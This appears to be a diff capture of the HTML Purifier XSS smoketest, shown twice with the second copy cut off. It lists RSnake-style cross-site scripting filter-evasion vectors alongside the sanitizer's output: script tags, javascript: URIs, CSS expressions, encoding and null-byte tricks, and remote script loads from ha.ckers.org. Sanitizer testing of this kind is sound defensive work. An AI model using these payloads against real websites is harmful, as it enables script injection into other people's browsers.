f13end · May 28, 2020 09:31
diff --git a/HTML Purifier XSS Attacks Smoketest b/HTML Purifier XSS Attacks Smoketest
 XSS attacks are from http://ha.ckers.org/xss.html.

 Caveats: Google.com has been programatically disallowed, but as you can see, there are ways of getting around that, so coverage in this area is not complete. Most XSS broadcasts its presence by spawning an alert dialogue. The displayed code is not strictly correct, as linebreaks have been forced for readability. Linewraps have been marked with ». Some tests are omitted for your convenience. Not all control characters are displayed.

 Test
 Name	Raw	Output	Render
 XSS Locator	
 ';alert(String.fromCharCode( »
 88,83,83))//\';alert(String. »
 fromCharCode(88,83,83))//";a »
 lert(String.fromCharCode(88, »
 83,83))//\";alert(String.fro »
 mCharCode(88,83,83))//--></S »
 CRIPT>">'><SCRIPT>alert(Stri »
 ng.fromCharCode(88,83,83))</ »
 SCRIPT>=&{}
 ';alert(String.fromCharCode( »
 88,83,83))//\';alert(String. »
 fromCharCode(88,83,83))//";a »
 lert(String.fromCharCode(88, »
 83,83))//\";alert(String.fro »
 mCharCode(88,83,83))//--&gt; »
 "&gt;'&gt;=&amp;{}
 ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//-->">'>=&{}
 XSS Quick Test	
 '';!--"<XSS>=&{()}
 '';!--"=&amp;{()}
 '';!--"=&{()}
 SCRIPT w/Alert()	
 <SCRIPT>alert('XSS')</SCRIPT »
 >
 SCRIPT w/Source File	
 <SCRIPT »
 SRC=http://ha.ckers.org/xss. »
 js></SCRIPT>
 SCRIPT w/Char Code	
 <SCRIPT>alert(String.fromCha »
 rCode(88,83,83))</SCRIPT>
 BASE	
 <BASE »
 HREF="javascript:alert('XSS' »
 );//">
 BGSOUND	
 <BGSOUND »
 SRC="javascript:alert('XSS') »
 ;">
 BODY background-image	
 <BODY »
 BACKGROUND="javascript:alert »
 ('XSS');">
 BODY ONLOAD	
 <BODY ONLOAD=alert('XSS')>
 DIV background-image 1	
 <DIV »
 STYLE="background-image: »
 url(javascript:alert('XSS')) »
 ">
 <div></div>
 DIV background-image 2	
 <DIV »
 STYLE="background-image: »
 url(&#1;javascript:alert('XS »
 S'))">
 <div></div>
 DIV expression	
 <DIV STYLE="width: »
 expression(alert('XSS'));">
 <div></div>
 FRAME	
 <FRAMESET><FRAME »
 SRC="javascript:alert('XSS') »
 ;"></FRAMESET>
 IFRAME	
 <IFRAME »
 SRC="javascript:alert('XSS') »
 ;"></IFRAME>
 INPUT Image	
 <INPUT TYPE="IMAGE" »
 SRC="javascript:alert('XSS') »
 ;">
 IMG w/JavaScript Directive	
 <IMG »
 SRC="javascript:alert('XSS') »
 ;">
 IMG No Quotes/Semicolon	
 <IMG »
 SRC=javascript:alert('XSS')>
 IMG Dynsrc	
 <IMG »
 DYNSRC="javascript:alert('XS »
 S');">
 IMG Lowsrc	
 <IMG »
 LOWSRC="javascript:alert('XS »
 S');">
 IMG Embedded commands 1	
 <IMG »
 SRC="http://www.thesiteyouar »
 eon.com/somecommand.php?some »
 variables=maliciouscode">
 <img »
 src="http://www.thesiteyouar »
 eon.com/somecommand.php?some »
 variables=maliciouscode" »
 alt="somecommand.php?somevar »
 iables=maliciouscode" />
 somecommand.php?somevariables=maliciouscode
 IMG STYLE w/expression	
 exp/*<XSS »
 STYLE='no\xss:noxss("*//*"); »

 xss:&#101;x&#x2F;*XSS*//*/* »
 /pression(alert("XSS"))'>
 exp/*
 exp/*
 List-style-image	
 <STYLE>li {list-style-image: »
 url("javascript:alert('XSS') »
 ");}</STYLE><UL><LI>XSS
 <ul><li>XSS</li></ul>
 XSS
 IMG w/VBscript	
 <IMG »
 SRC='vbscript:msgbox("XSS")' »
 >
 LAYER	
 <LAYER »
 SRC="http://ha.ckers.org/scr »
 iptlet.html"></LAYER>
 Livescript	
 <IMG »
 SRC="livescript:[code]">
 US-ASCII encoding	
 scriptalert(XSS)/script »
 scriptalert(XSS)/script
 scriptalert(XSS)/script
 META	
 <META HTTP-EQUIV="refresh" »
 CONTENT="0;url=javascript:al »
 ert('XSS');">
 META w/data:URL	
 <META HTTP-EQUIV="refresh" »
 CONTENT="0;url=data:text/htm »
 l;base64,PHNjcmlwdD5hbGVydCg »
 nWFNTJyk8L3NjcmlwdD4K">
 META w/additional URL parameter	
 <META HTTP-EQUIV="refresh" »
 CONTENT="0; »
 URL=http://;URL=javascript:a »
 lert('XSS');">
 Mocha	
 <IMG SRC="mocha:[code]">
 OBJECT	
 <OBJECT »
 TYPE="text/x-scriptlet" »
 DATA="http://ha.ckers.org/sc »
 riptlet.html"></OBJECT>
 OBJECT w/Embedded XSS	
 <OBJECT »
 classid=clsid:ae24fdae-03c6- »
 11d1-8b76-0080c744f389><para »
 m name=url »
 value=javascript:alert('XSS' »
 )></OBJECT>
 Embed Flash	
 <EMBED »
 SRC="http://ha.ckers.org/xss »
 .swf" »
 AllowScriptAccess="always">< »
 /EMBED>
 STYLE	
 <STYLE »
 TYPE="text/javascript">alert »
 ('XSS');</STYLE>
 STYLE w/Comment	
 <IMG »
 STYLE="xss:expr/*XSS*/ession »
 (alert('XSS'))">
 STYLE w/Anonymous HTML	
 <XSS »
 STYLE="xss:expression(alert( »
 'XSS'))">
 STYLE w/background-image	
 <STYLE>.XSS{background-image »
 :url("javascript:alert('XSS' »
 )");}</STYLE><A »
 CLASS=XSS></A>
 <a class="XSS"></a>
 STYLE w/background	
 <STYLE »
 type="text/css">BODY{backgro »
 und:url("javascript:alert('X »
 SS')")}</STYLE>
 Stylesheet	
 <LINK REL="stylesheet" »
 HREF="javascript:alert('XSS' »
 );">
 Remote Stylesheet 1	
 <LINK REL="stylesheet" »
 HREF="http://ha.ckers.org/xs »
 s.css">
 Remote Stylesheet 2	
 <STYLE>@import'http://ha.cke »
 rs.org/xss.css';</STYLE>
 Remote Stylesheet 3	
 <META HTTP-EQUIV="Link" »
 Content="<http://ha.ckers.or »
 g/xss.css>; REL=stylesheet">
 Remote Stylesheet 4	
 <STYLE>BODY{-moz-binding:url »
 ("http://ha.ckers.org/xssmoz »
 .xml#xss")}</STYLE>
 TABLE	
 <TABLE »
 BACKGROUND="javascript:alert »
 ('XSS')"></TABLE>
 TD	
 <TABLE><TD »
 BACKGROUND="javascript:alert »
 ('XSS')"></TD></TABLE>
 XML namespace	
 <HTML xmlns:xss>
 <?import »
 namespace="xss" »
 implementation="http://ha.ck »
 ers.org/xss.htc">
 <xss:xss>X »
 SS</xss:xss>

 </HTML>
 &lt;?import namespace="xss" »
 implementation="http://ha.ck »
 ers.org/xss.htc"&gt;
 XSS
 <?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"> XSS
 XML data island w/CDATA	
 <XML »
 ID=I><X><C><![CDATA[<IMG »
 SRC="javas]]><![CDATA[cript: »
 alert('XSS');">]]>

 </C></X> »
 </xml><SPAN DATASRC=#I »
 DATAFLD=C DATAFORMATAS=HTML>
 &lt;IMG »
 SRC="javascript:alert('XSS') »
 ;"&gt;

 <span></span>
 <IMG SRC="javascript:alert('XSS');">
 XML data island w/comment	
 <XML ID="xss"><I><B><IMG »
 SRC="javas<!-- »
 -->cript:alert('XSS')"></B>< »
 /I></XML>

 <SPAN »
 DATASRC="#xss" DATAFLD="B" »
 DATAFORMATAS="HTML"></SPAN>
 <i><b><img src="javas" »
 alt="javas&lt;!-- »
 --&gt;cript:alert('XSS')" »
 /></b></i><span></span>
 javas<!-- -->cript:alert('XSS')
 XML (locally hosted)	
 <XML »
 SRC="http://ha.ckers.org/xss »
 test.xml" ID=I></XML>
 <SPAN »
 DATASRC=#I DATAFLD=C »
 DATAFORMATAS=HTML></SPAN>
 <span></span>
 XML HTML+TIME	
 <HTML><BODY>
 <?xml:namespace »
 prefix="t" »
 ns="urn:schemas-microsoft-co »
 m:time">

 <?import »
 namespace="t" »
 implementation="#default#tim »
 e2">
 <t:set »
 attributeName="innerHTML" »
 to="XSS<SCRIPT »
 DEFER>alert('XSS')</SCRIPT>" »
 > </BODY></HTML>
 &lt;?xml:namespace »
 prefix="t" »
 ns="urn:schemas-microsoft-co »
 m:time"&gt;

 &lt;?import »
 namespace="t" »
 implementation="#default#tim »
 e2"&gt;
 <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> <?import namespace="t" implementation="#default#time2">
 Commented-out Block	
 <!--[if gte IE »
 4]>
 <SCRIPT>alert('XSS');</S »
 CRIPT>
 <![endif]-->
 Cookie Manipulation	
 <META »
 HTTP-EQUIV="Set-Cookie" »
 Content="USERID=<SCRIPT>aler »
 t('XSS')</SCRIPT>">
 Local .htc file	
 <XSS STYLE="behavior: »
 url(http://ha.ckers.org/xss. »
 htc);">
 Rename .js to .jpg	
 <SCRIPT »
 SRC="http://ha.ckers.org/xss »
 .jpg"></SCRIPT>
 SSI	
 <!--#exec cmd="/bin/echo »
 '<SCRIPT SRC'"--><!--#exec »
 cmd="/bin/echo »
 '=http://ha.ckers.org/xss.js »
 ></SCRIPT>'"-->
 PHP	
 <? »
 echo('<SCR)';
 echo('IPT>aler »
 t("XSS")</SCRIPT>'); ?>
 &lt;? echo('alert("XSS")'); »
 ?&gt;
 <? echo('alert("XSS")'); ?>
 JavaScript Includes	
 <BR SIZE="&{alert('XSS')}">
 <br />

 Character Encoding Example	
 <
 %3C
 &lt
 &lt;
 &LT
 &LT;
 &#60 »

 &#060
 &#0060

 &#00060
 &#000 »
 060
 &#0000060
 &#60;
 &#060;
 & »
 #0060;
 &#00060;
 &#000060;
 &# »
 0000060;
 &#x3c
 &#x03c
 &#x003 »
 c
 &#x0003c
 &#x00003c
 &#x0000 »
 03c
 &#x3c;
 &#x03c;

 &#x003c; »

 &#x0003c;
 &#x00003c;
 &#x000 »
 003c;
 &#X3c
 &#X03c
 &#X003c
 & »
 #X0003c
 &#X00003c
 &#X000003c »

 &#X3c;
 &#X03c;
 &#X003c;
 &#X »
 0003c;
 &#X00003c;
 &#X000003c »
 ;
 &#x3C

 &#x03C
 &#x003C
 &#x0 »
 003C
 &#x00003C
 &#x000003C
 &# »
 x3C;
 &#x03C;
 &#x003C;
 &#x000 »
 3C;
 &#x00003C;
 &#x000003C;
 & »
 #X3C
 &#X03C
 &#X003C
 &#X0003C »

 &#X00003C
 &#X000003C

 &#X3C »
 ;
 &#X03C;
 &#X003C;
 &#X0003C; »

 &#X00003C;
 &#X000003C;
 \x3c »

 \x3C
 \u003c
 \u003C
 &lt;
 %3C
 &amp;lt
 &lt;
 &amp;L »
 T
 &amp;LT;
 &lt;
 &lt;
 &lt;

 & »
 lt;
 &lt;
 &lt;
 &lt;
 &lt;
 &lt; »

 &lt;
 &lt;
 &lt;
 &lt;
 &lt;
 &l »
 t;
 &lt;
 &lt;
 &lt;
 &lt;
 &lt;
 »

 &lt;
 &lt;
 &lt;
 &lt;
 &lt;
 &l »
 t;
 &lt;
 &lt;
 &lt;
 &lt;
 &lt;
 »
 &lt;
 &lt;
 &lt;
 &lt;
 &lt;
 &lt »
 ;

 &lt;
 &lt;
 &lt;
 &lt;
 &lt;
 »
 &lt;
 &lt;
 &lt;
 &lt;
 &lt;
 &lt »
 ;
 &lt;
 &lt;
 &lt;
 &lt;
 &lt;
 & »
 lt;

 &lt;
 &lt;
 &lt;
 &lt;
 &lt »
 ;
 &lt;
 \x3c
 \x3C
 \u003c
 \u00 »
 3C
 < %3C &lt < &LT &LT; < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < \x3c \x3C \u003c \u003C
 Case Insensitive	
 <IMG »
 SRC=JaVaScRiPt:alert('XSS')>
 HTML Entities	
 <IMG »
 SRC=javascript:alert(&quot;X »
 SS&quot;)>
 Grave Accents	
 <IMG »
 SRC=`javascript:alert("RSnak »
 e says, 'XSS'")`>
 <img »
 src="%60javascript%3Aalert(" »
 alt="`javascript:alert(&quot »
 ;RSnake" />
 `javascript:alert("RSnake
 Image w/CharCode	
 <IMG »
 SRC=javascript:alert(String. »
 fromCharCode(88,83,83))>
 UTF-8 Unicode Encoding	
 <IMG »
 SRC=&#106;&#97;&#118;&#97;&# »
 115;&#99;&#114;&#105;&#112;& »
 #116;&#58;&#97;&#108;&#101;& »
 #114;&#116;&#40;&#39;&#88;&# »
 83;&#83;&#39;&#41;>
 Long UTF-8 Unicode w/out Semicolons	
 <IMG »
 SRC=&#0000106&#0000097&#0000 »
 118&#0000097&#0000115&#00000 »
 99&#0000114&#0000105&#000011 »
 2&#0000116&#0000058&#0000097 »
 &#0000108&#0000101&#0000114& »
 #0000116&#0000040&#0000039&# »
 0000088&#0000083&#0000083&#0 »
 000039&#0000041>
 DIV w/Unicode	
 <DIV »
 STYLE="background-image:\007 »
 5\0072\006C\0028'\006a\0061\ »
 0076\0061\0073\0063\0072\006 »
 9\0070\0074\003a\0061\006c\0 »
 065\0072\0074\0028.1027\0058 »
 .1053\0053\0027\0029'\0029">
 <div></div>
 Hex Encoding w/out Semicolons	
 <IMG »
 SRC=&#x6A&#x61&#x76&#x61&#x7 »
 3&#x63&#x72&#x69&#x70&#x74&# »
 x3A&#x61&#x6C&#x65&#x72&#x74 »
 &#x28&#x27&#x58&#x53&#x53&#x »
 27&#x29>
 UTF-7 Encoding	
 <HEAD><META »
 HTTP-EQUIV="CONTENT-TYPE" »
 CONTENT="text/html; »
 charset=UTF-7"> »
 </HEAD>+ADw-SCRIPT+AD4-alert »
 ('XSS');+ADw-/SCRIPT+AD4-
 +ADw-SCRIPT+AD4-alert('XSS') »
 ;+ADw-/SCRIPT+AD4-
 +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
 Escaping JavaScript escapes	
 \";alert('XSS');//
 \";alert('XSS');//
 \";alert('XSS');//
 End title tag	
 </TITLE><SCRIPT>alert("XSS") »
 ;</SCRIPT>
 STYLE w/broken up JavaScript	
 <STYLE>@im\port'\ja\vasc\rip »
 t:alert("XSS")';</STYLE>
 Embedded Tab	
 <IMG »
 SRC="jav\tascript:alert('XSS' »
 );">
 <img »
 src="jav%20ascript%3Aalert(' »
 XSS');" alt="jav »
 ascript:alert('XSS');" />
 jav ascript:alert('XSS');
 Embedded Encoded Tab	
 <IMG »
 SRC="jav&#x09;ascript:alert( »
 'XSS');">
 <img »
 src="jav%20ascript%3Aalert(' »
 XSS');" alt="jav »
 ascript:alert('XSS');" />
 jav ascript:alert('XSS');
 Embedded Newline	
 <IMG »
 SRC="jav&#x0A;ascript:alert( »
 'XSS');">
 <img »
 src="jav%20ascript%3Aalert(' »
 XSS');" alt="jav »
 ascript:alert('XSS');" />
 jav ascript:alert('XSS');
 Embedded Carriage Return	
 <IMG »
 SRC="jav&#x0D;ascript:alert( »
 'XSS');">
 <img »
 src="jav%20ascript%3Aalert(' »
 XSS');" alt="jav »
 ascript:alert('XSS');" />
 jav ascript:alert('XSS');
 Multiline w/Carriage Returns	
 <IMG
 SRC
 =
 "
 j
 a
 v
 a
 s
 c
 r
 i »

 p
 t
 :
 a
 l
 e
 r
 t
 (
 '
 X
 S
 S
 ' »

 )
 "
 >
 <img »
 src="j%20a%20v%20a%20s%20c%2 »
 0r%20i%20p%20t%20%3A%20a%20l »
 %20e%20r%20t%20(%20'%20X%20S »
 %20S%20'%20)" alt="j a v a s »
 c r i p t : a l e r t ( ' X »
 S S ' )" />
 j a v a s c r i p t : a l e r t ( ' X S S ' )
 Null Chars 1	
 <IMG »
 SRC=java\0script:alert("XSS") »
 >
 Null Chars 2	
 &<SCR\0IPT>alert("XSS")</SCR\0 »
 IPT>
 &amp;
 &
 Spaces/Meta Chars	
 <IMG SRC=" &#14;  »
 javascript:alert('XSS');">
 <img src="" alt="" />
 Non-Alpha/Non-Digit	
 <SCRIPT/XSS »
 SRC="http://ha.ckers.org/xss »
 .js"></SCRIPT>
 Non-Alpha/Non-Digit Part 2	
 <BODY »
 onload!#$%&()*~+-_.,:;?@[/|\ »
 ]^`=alert("XSS")>
 No Closing Script Tag	
 <SCRIPT »
 SRC=http://ha.ckers.org/xss. »
 js
 Protocol resolution in script tags	
 <SCRIPT »
 SRC=//ha.ckers.org/.j>
 Half-Open HTML/JavaScript	
 <IMG »
 SRC="javascript:alert('XSS') »
 "
 Double open angle brackets	
 <IFRAME »
 SRC=http://ha.ckers.org/scri »
 ptlet.html <
 Extraneous Open Brackets	
 <<SCRIPT>alert("XSS");//<</S »
 CRIPT>
 &lt;
 <
 Malformed IMG Tags	
 <IMG »
 """><SCRIPT>alert("XSS")</SC »
 RIPT>">
 "&gt;
 ">
 No Quotes/Semicolons	
 <SCRIPT>a=/XSS/
 alert(a.sour »
 ce)</SCRIPT>
 Evade Regex Filter 1	
 <SCRIPT a=">" »
 SRC="http://ha.ckers.org/xss »
 .js"></SCRIPT>
 Evade Regex Filter 2	
 <SCRIPT ="blah" »
 SRC="http://ha.ckers.org/xss »
 .js"></SCRIPT>
 Evade Regex Filter 3	
 <SCRIPT a="blah" '' »
 SRC="http://ha.ckers.org/xss »
 .js"></SCRIPT>
 Evade Regex Filter 4	
 <SCRIPT "a='>'" »
 SRC="http://ha.ckers.org/xss »
 .js"></SCRIPT>
 Evade Regex Filter 5	
 <SCRIPT a=`>` »
 SRC="http://ha.ckers.org/xss »
 .js"></SCRIPT>
 Filter Evasion 1	
 <SCRIPT>document.write("<SCR »
 I");</SCRIPT>PT »
 SRC="http://ha.ckers.org/xss »
 .js"></SCRIPT>
 PT »
 SRC="http://ha.ckers.org/xss »
 .js"&gt;
 PT SRC="http://ha.ckers.org/xss.js">
 Filter Evasion 2	
 <SCRIPT a=">'>" »
 SRC="http://ha.ckers.org/xss »
 .js"></SCRIPT>
 IP Encoding	
 <A »
 HREF="http://66.102.7.147/"> »
 XSS</A>
 <a »
 href="http://66.102.7.147/"> »
 XSS</a>
 XSS
 URL Encoding	
 <A »
 HREF="http://%77%77%77%2E%67 »
 %6F%6F%67%6C%65%2E%63%6F%6D" »
 >XSS</A>
 <a>XSS</a>
 XSS
 Dword Encoding	
 <A »
 HREF="http://1113982867/">XS »
 S</A>
 <a »
 href="http://1113982867/">XS »
 S</a>
 XSS
 Hex Encoding	
 <A »
 HREF="http://0x42.0x0000066. »
 0x7.0x93/">XSS</A>
 <a »
 href="http://0x42.0x0000066. »
 0x7.0x93/">XSS</a>
 XSS
 Octal Encoding	
 <A »
 HREF="http://0102.0146.0007. »
 00000223/">XSS</A>
 <a »
 href="http://0102.0146.0007. »
 00000223/">XSS</a>
 XSS
 Mixed Encoding	
 <A »
 HREF="h
 tt\tp://6&#09;6.00014 »
 6.0x7.147/">XSS</A>
 <a »
 href="h%20tt%20p%3A//6%206.0 »
 00146.0x7.147/">XSS</a>
 XSS
 Protocol Resolution Bypass	
 <A »
 HREF="//www.google.com/">XSS »
 </A>
 <a>XSS</a>
 XSS
 Firefox Lookups 1	
 <A HREF="//google">XSS</A>
 <a href="//google">XSS</a>
 XSS
 Firefox Lookups 2	
 <A »
 HREF="http://ha.ckers.org@go »
 ogle">XSS</A>
 <a »
 href="http://google">XSS</a>
 XSS
 Firefox Lookups 3	
 <A »
 HREF="http://google:ha.ckers »
 .org">XSS</A>
 <a »
 href="http://google">XSS</a>
 XSS
 Removing Cnames	
 <A »
 HREF="http://google.com/">XS »
 S</A>
 <a>XSS</a>
 XSS
 Extra dot for Absolute DNS	
 <A »
 HREF="http://www.google.com. »
 /">XSS</A>
 <a>XSS</a>
 XSS
 JavaScript Link Location	
 <A »
 HREF="javascript:document.lo »
 cation='http://www.google.co »
 m/'">XSS</A>
 <a>XSS</a>
 XSS
 Content Replace	
 <A »
 HREF="http://www.gohttp://ww »
 w.google.com/ogle.com/">XSS< »
 /A>
 <a »
 href="http://www.gohttp//www »
 .google.com/ogle.com/">XSS</ »
 a>
	XSS attacks are from http://ha.ckers.org/xss.html.

	Caveats: Google.com has been programatically disallowed, but as you can see, there are ways of getting around that, so coverage in this area is not complete. Most XSS broadcasts its presence by spawning an alert dialogue. The displayed code is not strictly correct, as linebreaks have been forced for readability. Linewraps have been marked with ». Some tests are omitted for your convenience. Not all control characters are displayed.

	Test
	Name Raw Output Render
	XSS Locator
	';alert(String.fromCharCode( »
	88,83,83))//\';alert(String. »
	fromCharCode(88,83,83))//";a »
	lert(String.fromCharCode(88, »
	83,83))//\";alert(String.fro »
	mCharCode(88,83,83))//--></S »
	CRIPT>">'><SCRIPT>alert(Stri »
	ng.fromCharCode(88,83,83))</ »
	SCRIPT>=&{}
	';alert(String.fromCharCode( »
	88,83,83))//\';alert(String. »
	fromCharCode(88,83,83))//";a »
	lert(String.fromCharCode(88, »
	83,83))//\";alert(String.fro »
	mCharCode(88,83,83))//--> »
	">'>=&{}
	';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//-->">'>=&{}
	XSS Quick Test
	'';!--"<XSS>=&{()}
	'';!--"=&{()}
	'';!--"=&{()}
	SCRIPT w/Alert()
	<SCRIPT>alert('XSS')</SCRIPT »
	>
	SCRIPT w/Source File
	<SCRIPT »
	SRC=http://ha.ckers.org/xss. »
	js></SCRIPT>
	SCRIPT w/Char Code
	<SCRIPT>alert(String.fromCha »
	rCode(88,83,83))</SCRIPT>
	BASE
	<BASE »
	HREF="javascript:alert('XSS' »
	);//">
	BGSOUND
	<BGSOUND »
	SRC="javascript:alert('XSS') »
	;">
	BODY background-image
	<BODY »
	BACKGROUND="javascript:alert »
	('XSS');">
	BODY ONLOAD
	<BODY ONLOAD=alert('XSS')>
	DIV background-image 1
	<DIV »
	STYLE="background-image: »
	url(javascript:alert('XSS')) »
	">
	<div></div>
	DIV background-image 2
	<DIV »
	STYLE="background-image: »
	url(javascript:alert('XS »
	S'))">
	<div></div>
	DIV expression
	<DIV STYLE="width: »
	expression(alert('XSS'));">
	<div></div>
	FRAME
	<FRAMESET><FRAME »
	SRC="javascript:alert('XSS') »
	;"></FRAMESET>
	IFRAME
	<IFRAME »
	SRC="javascript:alert('XSS') »
	;"></IFRAME>
	INPUT Image
	<INPUT TYPE="IMAGE" »
	SRC="javascript:alert('XSS') »
	;">
	IMG w/JavaScript Directive
	<IMG »
	SRC="javascript:alert('XSS') »
	;">
	IMG No Quotes/Semicolon
	<IMG »
	SRC=javascript:alert('XSS')>
	IMG Dynsrc
	<IMG »
	DYNSRC="javascript:alert('XS »
	S');">
	IMG Lowsrc
	<IMG »
	LOWSRC="javascript:alert('XS »
	S');">
	IMG Embedded commands 1
	<IMG »
	SRC="http://www.thesiteyouar »
	eon.com/somecommand.php?some »
	variables=maliciouscode">
	<img »
	src="http://www.thesiteyouar »
	eon.com/somecommand.php?some »
	variables=maliciouscode" »
	alt="somecommand.php?somevar »
	iables=maliciouscode" />
	somecommand.php?somevariables=maliciouscode
	IMG STYLE w/expression
	exp/*<XSS »
	STYLE='no\xss:noxss("//"); »

	xss:ex/XSS/// »
	/pression(alert("XSS"))'>
	exp/*
	exp/*
	List-style-image
	<STYLE>li {list-style-image: »
	url("javascript:alert('XSS') »
	");}</STYLE><UL><LI>XSS
	<ul><li>XSS</li></ul>
	XSS
	IMG w/VBscript
	<IMG »
	SRC='vbscript:msgbox("XSS")' »
	>
	LAYER
	<LAYER »
	SRC="http://ha.ckers.org/scr »
	iptlet.html"></LAYER>
	Livescript
	<IMG »
	SRC="livescript:[code]">
	US-ASCII encoding
	scriptalert(XSS)/script »
	scriptalert(XSS)/script
	scriptalert(XSS)/script
	META
	<META HTTP-EQUIV="refresh" »
	CONTENT="0;url=javascript:al »
	ert('XSS');">
	META w/data:URL
	<META HTTP-EQUIV="refresh" »
	CONTENT="0;url=data:text/htm »
	l;base64,PHNjcmlwdD5hbGVydCg »
	nWFNTJyk8L3NjcmlwdD4K">
	META w/additional URL parameter
	<META HTTP-EQUIV="refresh" »
	CONTENT="0; »
	URL=http://;URL=javascript:a »
	lert('XSS');">
	Mocha
	<IMG SRC="mocha:[code]">
	OBJECT
	<OBJECT »
	TYPE="text/x-scriptlet" »
	DATA="http://ha.ckers.org/sc »
	riptlet.html"></OBJECT>
	OBJECT w/Embedded XSS
	<OBJECT »
	classid=clsid:ae24fdae-03c6- »
	11d1-8b76-0080c744f389><para »
	m name=url »
	value=javascript:alert('XSS' »
	)></OBJECT>
	Embed Flash
	<EMBED »
	SRC="http://ha.ckers.org/xss »
	.swf" »
	AllowScriptAccess="always">< »
	/EMBED>
	STYLE
	<STYLE »
	TYPE="text/javascript">alert »
	('XSS');</STYLE>
	STYLE w/Comment
	<IMG »
	STYLE="xss:expr/XSS/ession »
	(alert('XSS'))">
	STYLE w/Anonymous HTML
	<XSS »
	STYLE="xss:expression(alert( »
	'XSS'))">
	STYLE w/background-image
	<STYLE>.XSS{background-image »
	:url("javascript:alert('XSS' »
	)");}</STYLE><A »
	CLASS=XSS></A>
	<a class="XSS"></a>
	STYLE w/background
	<STYLE »
	type="text/css">BODY{backgro »
	und:url("javascript:alert('X »
	SS')")}</STYLE>
	Stylesheet
	<LINK REL="stylesheet" »
	HREF="javascript:alert('XSS' »
	);">
	Remote Stylesheet 1
	<LINK REL="stylesheet" »
	HREF="http://ha.ckers.org/xs »
	s.css">
	Remote Stylesheet 2
	<STYLE>@import'http://ha.cke »
	rs.org/xss.css';</STYLE>
	Remote Stylesheet 3
	<META HTTP-EQUIV="Link" »
	Content="<http://ha.ckers.or »
	g/xss.css>; REL=stylesheet">
	Remote Stylesheet 4
	<STYLE>BODY{-moz-binding:url »
	("http://ha.ckers.org/xssmoz »
	.xml#xss")}</STYLE>
	TABLE
	<TABLE »
	BACKGROUND="javascript:alert »
	('XSS')"></TABLE>
	TD
	<TABLE><TD »
	BACKGROUND="javascript:alert »
	('XSS')"></TD></TABLE>
	XML namespace
	<HTML xmlns:xss>
	<?import »
	namespace="xss" »
	implementation="http://ha.ck »
	ers.org/xss.htc">
	<xss:xss>X »
	SS</xss:xss>

	</HTML>
	<?import namespace="xss" »
	implementation="http://ha.ck »
	ers.org/xss.htc">
	XSS
	<?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"> XSS
	XML data island w/CDATA
	<XML »
	ID=I><X><C><![CDATA[<IMG »
	SRC="javas]]><![CDATA[cript: »
	alert('XSS');">]]>

	</C></X> »
	</xml><SPAN DATASRC=#I »
	DATAFLD=C DATAFORMATAS=HTML>
	<IMG »
	SRC="javascript:alert('XSS') »
	;">

	<span></span>
	<IMG SRC="javascript:alert('XSS');">
	XML data island w/comment
	<XML ID="xss"><I><B><IMG »
	SRC="javas<!-- »
	-->cript:alert('XSS')"></B>< »
	/I></XML>

	<SPAN »
	DATASRC="#xss" DATAFLD="B" »
	DATAFORMATAS="HTML"></SPAN>
	<i><b><img src="javas" »
	alt="javas<!-- »
	-->cript:alert('XSS')" »
	/></b></i><span></span>
	javas<!-- -->cript:alert('XSS')
	XML (locally hosted)
	<XML »
	SRC="http://ha.ckers.org/xss »
	test.xml" ID=I></XML>
	<SPAN »
	DATASRC=#I DATAFLD=C »
	DATAFORMATAS=HTML></SPAN>
	<span></span>
	XML HTML+TIME
	<HTML><BODY>
	<?xml:namespace »
	prefix="t" »
	ns="urn:schemas-microsoft-co »
	m:time">

	<?import »
	namespace="t" »
	implementation="#default#tim »
	e2">
	<t:set »
	attributeName="innerHTML" »
	to="XSS<SCRIPT »
	DEFER>alert('XSS')</SCRIPT>" »
	> </BODY></HTML>
	<?xml:namespace »
	prefix="t" »
	ns="urn:schemas-microsoft-co »
	m:time">

	<?import »
	namespace="t" »
	implementation="#default#tim »
	e2">
	<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> <?import namespace="t" implementation="#default#time2">
	Commented-out Block
	<!--[if gte IE »
	4]>
	<SCRIPT>alert('XSS');</S »
	CRIPT>
	<![endif]-->
	Cookie Manipulation
	<META »
	HTTP-EQUIV="Set-Cookie" »
	Content="USERID=<SCRIPT>aler »
	t('XSS')</SCRIPT>">
	Local .htc file
	<XSS STYLE="behavior: »
	url(http://ha.ckers.org/xss. »
	htc);">
	Rename .js to .jpg
	<SCRIPT »
	SRC="http://ha.ckers.org/xss »
	.jpg"></SCRIPT>
	SSI
	<!--#exec cmd="/bin/echo »
	'<SCRIPT SRC'"--><!--#exec »
	cmd="/bin/echo »
	'=http://ha.ckers.org/xss.js »
	></SCRIPT>'"-->
	PHP
	<? »
	echo('<SCR)';
	echo('IPT>aler »
	t("XSS")</SCRIPT>'); ?>
	<? echo('alert("XSS")'); »
	?>
	<? echo('alert("XSS")'); ?>
	JavaScript Includes
	<BR SIZE="&{alert('XSS')}">
	<br />

	Character Encoding Example
	<
	%3C
	&lt
	<
	&LT
	&LT;
	&#60 »

	&#060
	&#0060

	&#00060
	&#000 »
	060
	&#0000060
	<
	<
	& »
	#0060;
	<
	<
	&# »
	0000060;
	&#x3c
	&#x03c
	&#x003 »
	c
	&#x0003c
	&#x00003c
	&#x0000 »
	03c
	<
	<

	< »

	<
	<
	&#x000 »
	003c;
	&#X3c
	&#X03c
	&#X003c
	& »
	#X0003c
	&#X00003c
	&#X000003c »

	&#X3c;
	&#X03c;
	&#X003c;
	&#X »
	0003c;
	&#X00003c;
	&#X000003c »
	;
	&#x3C

	&#x03C
	&#x003C
	&#x0 »
	003C
	&#x00003C
	&#x000003C
	&# »
	x3C;
	<
	<
	&#x000 »
	3C;
	<
	&#x000003C;
	& »
	#X3C
	&#X03C
	&#X003C
	&#X0003C »

	&#X00003C
	&#X000003C

	&#X3C »
	;
	&#X03C;
	&#X003C;
	&#X0003C; »

	&#X00003C;
	&#X000003C;
	\x3c »

	\x3C
	\u003c
	\u003C
	<
	%3C
	&lt
	<
	&L »
	T
	&LT;
	<
	<
	<

	& »
	lt;
